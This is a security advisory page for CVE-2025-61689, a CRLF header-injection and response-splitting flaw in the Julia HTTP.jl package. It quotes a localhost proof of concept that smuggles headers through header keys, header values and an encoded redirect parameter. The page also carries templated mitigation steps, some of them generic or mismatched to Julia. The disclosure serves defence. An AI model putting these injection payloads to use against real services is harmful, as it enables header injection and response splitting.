Vulnerability in HTTP (CVE-2025-61689)
Summary
Vulnerability in HTTP (CVE-2025-61689). Risk of unauthorized operations or information disclosure. Mitigation: upgrade to 1.10.19 or later.
Original description
The description as published by the source.
HTTP.jl did not validate header names/values for illegal characters, allowing CRLF-based header injection and response splitting.
using HTTP, Sockets
function handle_index(req::HTTP.Request)
@show HTTP.header(req, "X-Foo")
return HTTP.Response(200, "ok")
end
function handle_redirect(req::HTTP.Request)
return HTTP.Response(301, ["Location" => get(HTTP.URIs.queryparams(req), "to", "/")], "redirect")
end
const router = HTTP.Router()
HTTP.register!(router, "GET", "/", handle_index)
HTTP.register!(router, "GET", "/redirect", handle_redirect)
server = HTTP.serve!(router, Sockets.IPv4(0,0,0,0), 8080)
println("[*] POC 1: Header injection in request through header key")
user_input = "X-Custom: x\r\nX-Foo: Bar\r\nX-Custom"
HTTP.get("http://localhost:8080/", [user_input => "hello"])
println()
println("[*] POC 2: Header injection in request through header value")
user_input = "hello\r\nX-Foo: Bar"
HTTP.get("http://localhost:8080/", ["X-Custom" => user_input])
println()
println("[*] POC 3: Header injection in response through header value")
res = HTTP.get("http://localhost:8080/redirect?to=/%0d%0aX-Foo:%20Bar", redirect=false)
@show HTTP.header(res, "X-Foo")
Result
[ Info: Listening on: [0.0.0.0:8080](http://0.0.0.0:8080/), thread id: 1
[*] POC 1: Header injection in request through header key
HTTP.header(req, "X-Foo") = "Bar"
[*] POC 2: Header injection in request through header value
HTTP.header(req, "X-Foo") = "Bar"
[*] POC 3: Header injection i…
Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2025-61689 has been found in HTTP.
Risk of unauthorized operations or information disclosure.
What to do: upgrade HTTP to 1.10.19 or later.
If unsure, ask your IT team or search "HTTP CVE-2025-61689" on the vendor's site.
CVE-2025-61689 (HTTP) — CWE-113
Patched: 1.10.19 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
A vulnerability (CWE-113) exists in HTTP.
Check the vendor advisory for the affected versions of HTTP.
Severity: ?. Risk of unauthorized operations or information disclosure.
Update to 1.10.19.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'HTTP' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'HTTP' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
HTTPを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade HTTP to 1.10.19ステージング環境で 1.10.19 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。